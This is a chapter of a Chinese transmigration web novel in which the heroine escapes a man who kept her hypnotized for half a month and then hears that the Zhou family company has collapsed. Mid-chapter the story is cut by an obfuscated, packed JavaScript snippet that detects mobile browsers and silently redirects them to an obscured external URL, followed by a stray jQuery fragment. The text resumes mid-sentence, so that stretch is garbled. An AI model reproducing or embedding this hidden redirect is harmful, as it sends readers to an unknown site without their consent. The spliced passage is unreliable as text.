半个月里。
夏别季一直过得浑浑噩噩。
她听的最多的一句话就是——
“我爱你。”
是谁爱我?
她有一阵很清楚,有一阵儿就又很模糊。
双眼一直处在一个朦朦胧胧的状态里,她看不清楚所有的东西和事物,但是又能很清楚的分辨这些东西是什么。
可是让她说吧,她具体又说不上来是什么。
除此之外,有一个人会在每天的固定时间来看她。
她依旧看不清楚这个人的样貌,身形。
她可以说出来这个人的名字。
但无法理解这个人是谁。
脑海一片空白。
她唯一能理解的一句话,只有“我永远爱你”。
每当那个人说出这句话时,她都会情不自禁的笑出来。
她一笑,那个人也开始笑。
【宿主别笑了。】
这是谁?
谁在说话?
夏别季收住笑容,表情发懵。
“宿主”是谁?
那个人关切的问道:“你怎么了?”
夏别季摇了摇头。
“对了,我今天教你三个字。”
夏别季歪头,好奇的看着他。
“你很久没有跟我说过话了……”
夏别季没动。
“以后呢,你就喊我‘男朋友’。”
【提示:宿主若沉浸在宁子席的糖衣炮弹中超过一个月,直接视为任务失败!!!宿主原身直接销毁!!!永远困在这个世界中!!!提示!!!】
什么意思?
不止是对眼前人说的话的疑惑,还有脑海中这个声音所说的意思的疑惑。
她不太理解。
也不太懂。
眼前人的声音极为深情,循循善诱,哄着夏别季说出这三个字。
夏别季因为脑海中声音的打断,她犹豫了。
往常很听眼前人话的她,犹豫了。
她不知道该不该继续听眼前人的话。
“男朋友”,是什么意思?
夏别季摇了摇头。
眼前人也不着急,揉了揉夏别季柔滑的头发,道:“你想不想出去玩儿啊?”
“玩儿?”
夏别季难得的说了句话。
眼前人笑道:“对,我带你出去玩儿。”
此时,能够摇晃的射灯正好照到了夏别季的身上。
时常没有出去活动的她,肤色已然变得十分苍白。
可干净的面容,精致的穿着,还是能看出来眼前人将她养的极好。
不知怎的,脑海中突然浮现出一句话。
是一个她从来没见过的女人。
女人留着长到腰下的大波浪,就算画着粗糙的妆容也能看出来原本就很漂亮的底子,被洗的轻微发黄的白衬衫外,套着一件黑西装,下面穿着一看就很劣质的长裤还有皮鞋。
女人斩钉截铁的道:“我夏别季才不用男人养呢!”
“夏别季”?
“夏别季”又是谁?
她摇了摇头。
眼前人还是十分有耐心,道:“你今天怎么一直摇头呢?”
眼前人的声音逐渐开始有了回声,哪怕近在眼前,也像是在一处空旷的大房子中遥远的呼唤。
只有那个女人十分有劲呼出的话愈来愈清晰。
“我夏别季才不用男人养呢!”
夏别季轻轻道出了这句话。
“夏别季?”宁子席轻笑,问道:“夏别季是谁?是你的本名吗?”
夏别季又摇头。
宁子席:“你今天怪怪的。”
夏别季站了起来,摇摇晃晃地朝落地窗前走去。
这种房子一般是有空气净化系统,所以窗户一律都是封死的,都是打不开的。
她愣道:“这儿是哪儿?”
宁子席也跟着站了起来,贴在夏别季的背后,道:“这里是我们的家。”
夏别季没动,冷冷的道:“这里不是我的家。”
宁子席继续哄诱道:“不,这里就是我们的家,我是你的男朋友。”
夏别季:“不,我没有男朋友。”
宁子席委屈道:“那我又是谁呢?”
夏别季:“你是你。”
宁子席想伸手搂住夏别季的腰,却被夏别季拦住。
她望着窗外,看着远处的车水马龙,感觉极为不真实。
这里不是她的家。
这里是异世界。
这个男人是个变态狂。
她被绑架了。
她不爱他。
他也不爱她。
模糊的视线逐渐开始清晰。
夏别季扭过头,对上宁子席那漂亮的双眸。
“你得做做心理疏导了。”
撂下这句话,夏别季摆手径直向门外走去。
宁子席没动,放大了些音量,道:“你一点都没有喜欢过我吗?”
由于宁子席的戒备心松懈的缘故,大门一直敞开着,夏别季的手微微颤抖,握住了门把手,道:“没有。”
明明出口一直都在眼前。
被催眠了的她却什么都看不见。
就像她一直看不透宁子席这个人一样。
宁子席轻笑一声,没有再说话了。
夏别季滚动了一下喉嗓,“咔”,大门应声关闭。
独留宁子席一人站在她生活了短短半个月的屋内。
——
出来后。
外面没有人。
她一路畅通。
虽然不知道从哪里出去,靠着第六感,哪怕花费了不少的时间,她也终于是出来了。
来到一楼,这里是她和宁子席被周越风围堵的那个地方。
现在空无一人。
这栋楼……
这半个月里,这栋楼里难道就只有她一个人吗?
宁子席简直是发了神经没处治。
久违的阳光蓦的掉落在了夏别季的脸上,令她感到十分的不真实。
就这么轻松的出来了。
【提示:《永远的爱》已结束。宿主不会再和宁子席有任何的情感牵扯,但宁子席会永远深爱着宿主。也许在某一时刻,宿主也可寻找宁子席寻求帮助。当前的嫉妒心清零,好感度为100%,不会再有任何浮动。】
劳资才不用呢,夏别季暗想。
“不过,系统,宁子席这隐藏结局……就这么容易就出来了?”
【《永远的爱》难在温柔乡,催眠迷香下,既是温柔乡,亦是溺亡殇。宿主对宁子席的好感并不深刻,所以这半个月来一直浑浑噩噩,并没有被宁子席的洗脑所感染太深。如若宿主极为渴慕宁子席,那便不会有一个月的冷静期,本系统直接判定宿主任务失败。】
嗯……
所以她没有任务失败的原因,还是在于她对宁子席的好感不高呗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838846|175703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
幸亏……
卧槽!!!!
夏别季没忍住原地蹦跶了两下。
幸亏!!!!
不过这半个月里,在里面的时候她感觉度日如年,这才一出来,就觉得时间如流水,唰的一下就半个月过去了,就感觉自己的生活中没有这半个月似的。
卧槽。
太牛逼了。
别的不说,宁子席长得确实带劲。
得亏她不是那种好色之徒,否则全完了个屁了的。
夏别季现在还心有余悸。
抚摸着自己娇弱的小心脏,她哼着歌一蹦一跳地走了。
回到家后。
一个沉寂的背影坐在她的沙发上,仿佛已经等了很久。
夏别季放缓了脚步,悄声凑了过去。
谁啊这是?
小偷?
夏别季蹲下身子,把鞋带解开后顺势抽了出来,扯了一下微微有弹性的鞋带,像一名慎刑司的嬷嬷。
她猛地趋步过去,用鞋带勒住了这个男人的脖子,随后吼道:“快来人啊!!!有小偷!!!私闯民宅了啊啊啊!!!”
“咳咳咳——”
男人咳嗽了几声连忙反方向扽住鞋带,避免自己受到更大的伤害,忙解释道:“是我!”
夏别季:“欸?”
夏别季一个偏头,看清楚是周越天后,问道:“你改行当小偷了?”
周越天:“我还想问你,你是不是被绑架了失踪这么久?”
夏别季挠了挠头,说的也没毛病,她的确被绑架了。
夏别季:“那你咋过来了?”
周越天:“我来跟你说一件事情。”
“又有啥事儿了周总?”
“文娇失踪了。”
夏别季一惊:“啥!?”
周越天思索了一下措辞,道:“不知道具体是在哪天失踪的,不过我确实没有她的消息很久了。”
“你周氏权利这么大,找个人还这么费劲啊?”
说到这件事,周越天苦笑了一声,道:“实不相瞒,已经没有周氏了。”
夏别季:“啊?”
“也没什么不能说的,其实就是经营方面有点问题,周氏一夜之间破产了,然后被我小姑家收购了。”
夏别季没理清楚:“你小姑家?谁啊?”
“是宁子席。”
“卧槽!?宁子席!?”
夏别季没忍住爆了句粗,随后很夸张的问道:“你们周氏!!!家大业大!!!一夜之间破产了!?”
虽然有宁子席提前说的话在先,她也明白周氏也快不行了,但是这么快就没了,也太离奇了!!!
简直离谱!离大谱!
周越天:“是的。”
夏别季:“请不要说的这么云淡风轻就像跟你不相关一样啊喂!”
周越天:“的确跟我不相关了。”
夏别季:“你们之间的关系也太乱了啊喂。”
不过有个问题夏别季还想问问:“对了,既然周氏没了,那周林梢还要不要去和亲啊?”
周越天微微一笑:“要的。”
“哇塞你们简直丧心病狂。”
周越天:“丧心病狂的不是我。”
“是不是你爹妈?”
周越天佯装轻松道:“他们二老急于求成,不听劝阻,我也没什么办法了。”
夏别季眯眼:“我怎么感觉你有点幸灾乐祸呢。”